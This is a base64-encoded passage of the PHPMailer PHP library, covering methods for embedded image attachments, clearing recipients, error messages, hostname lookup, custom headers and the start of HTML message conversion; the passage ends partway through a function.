ICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBNSU1FIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIG9uIHN1Y2Nlc3NmdWxseSBhZGRpbmcgYW4gYXR0YWNobWVudAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkRW1iZWRkZWRJbWFnZSgkcGF0aCwgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICdpbmxpbmUnKQogICAgewogICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICB9CgogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgfQoKICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+ICRjaWQKICAgICAgICApOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIHN0cmluZ2lmaWVkIGF0dGFjaG1lbnQuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIEJlIHN1cmUgdG8gc2V0IHRoZSAkdHlwZSB0byBhbiBpbWFnZSB0eXBlIGZvciBpbWFnZXM6CiAgICAgKiBKUEVHIGltYWdlcyB1c2UgJ2ltYWdlL2pwZWcnLCBHSUYgdXNlcyAnaW1hZ2UvZ2lmJywgUE5HIHVzZXMgJ2ltYWdlL3BuZycuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIGF0dGFjaG1lbnQgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaWQgQ29udGVudCBJRCBvZiB0aGUgYXR0YWNobWVudDsgVXNlIHRoaXMgdG8gcmVmZXJlbmNlCiAgICAgKiAgICAgICAgdGhlIGNvbnRlbnQgd2hlbiB1c2luZyBhbiBlbWJlZGRlZCBpbWFnZSBpbiBIVE1MLgogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlIE1JTUUgdHlwZS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uIERpc3Bvc2l0aW9uIHRvIHVzZQogICAgICogQHJldHVybiBib29sZWFuIFRydWUgb24gc3VjY2Vzc2Z1bGx5IGFkZGluZyBhbiBhdHRhY2htZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdFbWJlZGRlZEltYWdlKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGNpZCwKICAgICAgICAkbmFtZSA9ICcnLAogICAgICAgICRlbmNvZGluZyA9ICdiYXNlNjQnLAogICAgICAgICR0eXBlID0gJycsCiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJ2lubGluZScKICAgICkgewogICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBuYW1lCiAgICAgICAgaWYgKCR0eXBlID09ICcnIGFuZCAhZW1wdHkoJG5hbWUpKSB7CiAgICAgICAgICAgICR0eXBlID0gc2VsZjo6ZmlsZW5hbWVUb1R5cGUoJG5hbWUpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJG5hbWUsCiAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAkY2lkCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGlubGluZSBhdHRhY2htZW50IGlzIHByZXNlbnQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpbmxpbmVJbWFnZUV4aXN0cygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhbiBhdHRhY2htZW50IChub24taW5saW5lKSBpcyBwcmVzZW50LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhdHRhY2htZW50RXhpc3RzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2F0dGFjaG1lbnQnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiB0aGlzIG1lc3NhZ2UgaGFzIGFuIGFsdGVybmF0aXZlIGJvZHkgc2V0LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhbHRlcm5hdGl2ZUV4aXN0cygpCiAgICB7CiAgICAgICAgcmV0dXJuICFlbXB0eSgkdGhpcy0+QWx0Qm9keSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBxdWV1ZWQgYWRkcmVzc2VzIG9mIGdpdmVuIGtpbmQuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAka2luZCAndG8nLCAnY2MnLCBvciAnYmNjJwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclF1ZXVlZEFkZHJlc3Nlcygka2luZCkKICAgIHsKICAgICAgICAkUmVjaXBpZW50c1F1ZXVlID0gJHRoaXMtPlJlY2lwaWVudHNRdWV1ZTsKICAgICAgICBmb3JlYWNoICgkUmVjaXBpZW50c1F1ZXVlIGFzICRhZGRyZXNzID0+ICRwYXJhbXMpIHsKICAgICAgICAgICAgaWYgKCRwYXJhbXNbMF0gPT0gJGtpbmQpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5SZWNpcGllbnRzUXVldWVbJGFkZHJlc3NdKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENsZWFyIGFsbCBUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFkZHJlc3NlcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0bykgewogICAgICAgICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkdG9bMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCd0bycpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIENDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQ0NzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Y2MgYXMgJGNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRjY1swXSldKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+Y2xlYXJRdWV1ZWRBZGRyZXNzZXMoJ2NjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgQkNDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQkNDcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJjYyBhcyAkYmNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRiY2NbMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgUmVwbHlUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCkKICAgIHsKICAgICAgICAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZSA9IGFycmF5KCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgcmVjaXBpZW50IHR5cGVzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFsbFJlY2lwaWVudHMoKQogICAgewogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5SZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGZpbGVzeXN0ZW0sIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cy4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKQogICAgewogICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVycm9yIG1lc3NhZ2UgdG8gdGhlIGVycm9yIGNvbnRhaW5lci4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtc2cKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1zZykKICAgIHsKICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQrKzsKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciA9PSAnc210cCcgYW5kICFpc19udWxsKCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkbGFzdGVycm9yID0gJHRoaXMtPnNtdHAtPmdldEVycm9yKCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGxhc3RlcnJvclsnZXJyb3InXSkpIHsKICAgICAgICAgICAgICAgICRtc2cgLj0gJHRoaXMtPmxhbmcoJ3NtdHBfZXJyb3InKSAuICRsYXN0ZXJyb3JbJ2Vycm9yJ107CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2RldGFpbCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBEZXRhaWw6ICcuICRsYXN0ZXJyb3JbJ2RldGFpbCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgU01UUCBjb2RlOiAnIC4gJGxhc3RlcnJvclsnc210cF9jb2RlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBBZGRpdGlvbmFsIFNNVFAgaW5mbzogJyAuICRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGFuIFJGQyA4MjIgZm9ybWF0dGVkIGRhdGUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZmNEYXRlKCkKICAgIHsKICAgICAgICAvLyBTZXQgdGhlIHRpbWUgem9uZSB0byB3aGF0ZXZlciB0aGUgZGVmYXVsdCBpcyB0byBhdm9pZCA1MDAgZXJyb3JzCiAgICAgICAgLy8gV2lsbCBkZWZhdWx0IHRvIFVUQyBpZiBpdCdzIG5vdCBzZXQgcHJvcGVybHkgaW4gcGhwLmluaQogICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSk7CiAgICAgICAgcmV0dXJuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKTsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgc2VydmVyIGhvc3RuYW1lLgogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkhvc3RuYW1lKSkgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPkhvc3RuYW1lOwogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIGFuZCAhZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0bmFtZScpICYmIGdldGhvc3RuYW1lKCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBnZXRob3N0bmFtZSgpOwogICAgICAgIH0gZWxzZWlmIChwaHBfdW5hbWUoJ24nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IHBocF91bmFtZSgnbicpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCBhbiBlcnJvciBtZXNzYWdlIGluIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGxhbmcoJGtleSkKICAgIHsKICAgICAgICBpZiAoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgICAgICB9CgogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCRrZXksICR0aGlzLT5sYW5ndWFnZSkpIHsKICAgICAgICAgICAgaWYgKCRrZXkgPT0gJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSB7CiAgICAgICAgICAgICAgICAvL0luY2x1ZGUgYSBsaW5rIHRvIHRyb3VibGVzaG9vdGluZyBkb2NzIG9uIFNNVFAgY29ubmVjdGlvbiBmYWlsdXJlCiAgICAgICAgICAgICAgICAvL3RoaXMgaXMgYnkgZmFyIHRoZSBiaWdnZXN0IGNhdXNlIG9mIHN1cHBvcnQgcXVlc3Rpb25zCiAgICAgICAgICAgICAgICAvL2J1dCBpdCdzIHVzdWFsbHkgbm90IFBIUE1haWxlcidzIGZhdWx0LgogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XSAuICcgaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvd2lraS9Ucm91Ymxlc2hvb3RpbmcnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9SZXR1cm4gdGhlIGtleSBhcyBhIGZhbGxiYWNrCiAgICAgICAgICAgIHJldHVybiAka2V5OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGVycm9yIG9jY3VycmVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIGlmIGFuIGVycm9yIGRpZCBvY2N1ci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzRXJyb3IoKQogICAgewogICAgICAgIHJldHVybiAoJHRoaXMtPmVycm9yX2NvdW50ID4gMCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbnN1cmUgY29uc2lzdGVudCBsaW5lIGVuZGluZ3MgaW4gYSBzdHJpbmcuCiAgICAgKiBDaGFuZ2VzIGV2ZXJ5IGVuZCBvZiBsaW5lIGZyb20gQ1JMRiwgQ1Igb3IgTEYgdG8gJHRoaXMtPkxFLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBTdHJpbmcgdG8gZml4RU9MCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZml4RU9MKCRzdHIpCiAgICB7CiAgICAgICAgLy8gTm9ybWFsaXNlIHRvIFxuCiAgICAgICAgJG5zdHIgPSBzdHJfcmVwbGFjZShhcnJheSgiXHJcbiIsICJcciIpLCAiXG4iLCAkc3RyKTsKICAgICAgICAvLyBOb3cgY29udmVydCBMRSBhcyBuZWVkZWQKICAgICAgICBpZiAoJHRoaXMtPkxFICE9PSAiXG4iKSB7CiAgICAgICAgICAgICRuc3RyID0gc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkbnN0cik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbnN0cjsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBhIGN1c3RvbSBoZWFkZXIuCiAgICAgKiAkbmFtZSB2YWx1ZSBjYW4gYmUgb3ZlcmxvYWRlZCB0byBjb250YWluCiAgICAgKiBib3RoIGhlYWRlciBuYW1lIGFuZCB2YWx1ZSAobmFtZTp2YWx1ZSkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIEN1c3RvbSBoZWFkZXIgbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUgSGVhZGVyIHZhbHVlCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEN1c3RvbUhlYWRlcigkbmFtZSwgJHZhbHVlID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJHZhbHVlID09PSBudWxsKSB7CiAgICAgICAgICAgIC8vIFZhbHVlIHBhc3NlZCBpbiBhcyBuYW1lOnZhbHVlCiAgICAgICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGV4cGxvZGUoJzonLCAkbmFtZSwgMik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlcltdID0gYXJyYXkoJG5hbWUsICR2YWx1ZSk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJucyBhbGwgY3VzdG9tIGhlYWRlcnMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYm9keSBmcm9tIGFuIEhUTUwgc3RyaW5nLgogICAgICogQXV0b21hdGljYWxseSBpbmxpbmVzIGltYWdlcyBhbmQgY3JlYXRlcyBhIHBsYWluLXRleHQgdmVyc2lvbiBieSBjb252ZXJ0aW5nIHRoZSBIVE1MLAogICAgICogb3ZlcndyaXRpbmcgYW55IGV4aXN0aW5nIHZhbHVlcyBpbiBCb2R5IGFuZCBBbHRCb2R5LgogICAgICogRG8gbm90IHNvdXJjZSAkbWVzc2FnZSBjb250ZW50IGZyb20gdXNlciBpbnB1dCEKICAgICAqICRiYXNlZGlyIGlzIHByZXBlbmRlZCB3aGVuIGhhbmRsaW5nIHJlbGF0aXZlIFVSTHMsIGUuZy4gPGltZyBzcmM9Ii9pbWFnZXMvYS5wbmciPiBhbmQgbXVzdCBub3QgYmUgZW1wdHkKICAgICAqIHdpbGwgbG9vayBmb3IgYW4gaW1hZ2UgZmlsZSBpbiAkYmFzZWRpci9pbWFnZXMvYS5wbmcgYW5kIGNvbnZlcnQgaXQgdG8gaW5saW5lLgogICAgICogSWYgeW91IGRvbid0IHByb3ZpZGUgYSAkYmFzZWRpciwgcmVsYXRpdmUgcGF0aHMgd2lsbCBiZSBsZWZ0IHVudG91Y2hlZCAoYW5kIHRodXMgcHJvYmFibHkgYnJlYWsgaW4gZW1haWwpCiAgICAgKiBJZiB5b3UgZG9uJ3Qgd2FudCB0byBhcHBseSB0aGVzZSB0cmFuc2Zvcm1hdGlvbnMgdG8geW91ciBIVE1MLCBqdXN0IHNldCBCb2R5IGFuZCBBbHRCb2R5IGRpcmVjdGx5LgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgSFRNTCBtZXNzYWdlIHN0cmluZwogICAgICogQHBhcmFtIHN0cmluZyAkYmFzZWRpciBBYnNvbHV0ZSBwYXRoIHRvIGEgYmFzZSBkaXJlY3RvcnkgdG8gcHJlcGVuZCB0byByZWxhdGl2ZSBwYXRocyB0byBpbWFnZXMKICAgICAqIEBwYXJhbSBib29sZWFufGNhbGxhYmxlICRhZHZhbmNlZCBXaGV0aGVyIHRvIHVzZSB0aGUgaW50ZXJuYWwgSFRNTCB0byB0ZXh0IGNvbnZlcnRlcgogICAgICogICAgb3IgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlciBAc2VlIFBIUE1haWxlcjo6aHRtbDJ0ZXh0KCkKICAgICAqIEByZXR1cm4gc3RyaW5nICRtZXNzYWdlIFRoZSB0cmFuc2Zvcm1lZCBtZXNzYWdlIEJvZHkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIG1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKQogICAgewogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvKHNyY3xiYWNrZ3JvdW5kKT1bIlwnXSguKilbIlwnXS9VaScsICRtZXNzYWdlLCAkaW1hZ2VzKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkaW1hZ2VzKSkgewogICAgICAgICAgICBpZiAoc3RybGVuKCRiYXNlZGlyKSA+IDEgJiYgc3Vic3RyKCRiYXNlZGlyLCAtMSkgIT0gJy8nKSB7CiAgICAgICAgICAgICAgICAvLyBFbnN1cmUgJGJhc2VkaXIgaGFzIGEgdHJhaWxpbmcgLwogICAgICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRpbWFnZXNbMl0gYXMgJGltZ2luZGV4ID0+ICR1cmwpIHsKICAgICAgICAgICAgICAgIC8vIENvbnZlcnQgZGF0YSBVUklzIGludG8gZW1iZWRkZWQgaW1hZ2VzCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15kYXRhOihpbWFnZVteOyxdKikoO2Jhc2U2NCk\/LCMnLCAkdXJsLCAkbWF0Y2gpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBzdWJzdHIoJHVybCwgc3RycG9zKCR1cmwsICcsJykpOwogICAgICAgICAgICAgICAgICAgIGlmICgkbWF0Y2hbMl0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBiYXNlNjRfZGVjb2RlKCRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHJhd3VybGRlY29kZSgkZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJGRhdGEsICRjaWQsICdlbWJlZCcgLiAkaW1naW5kZXgsICdiYXNlNjQnLCAkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzBdWyRpbWdpbmRleF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAg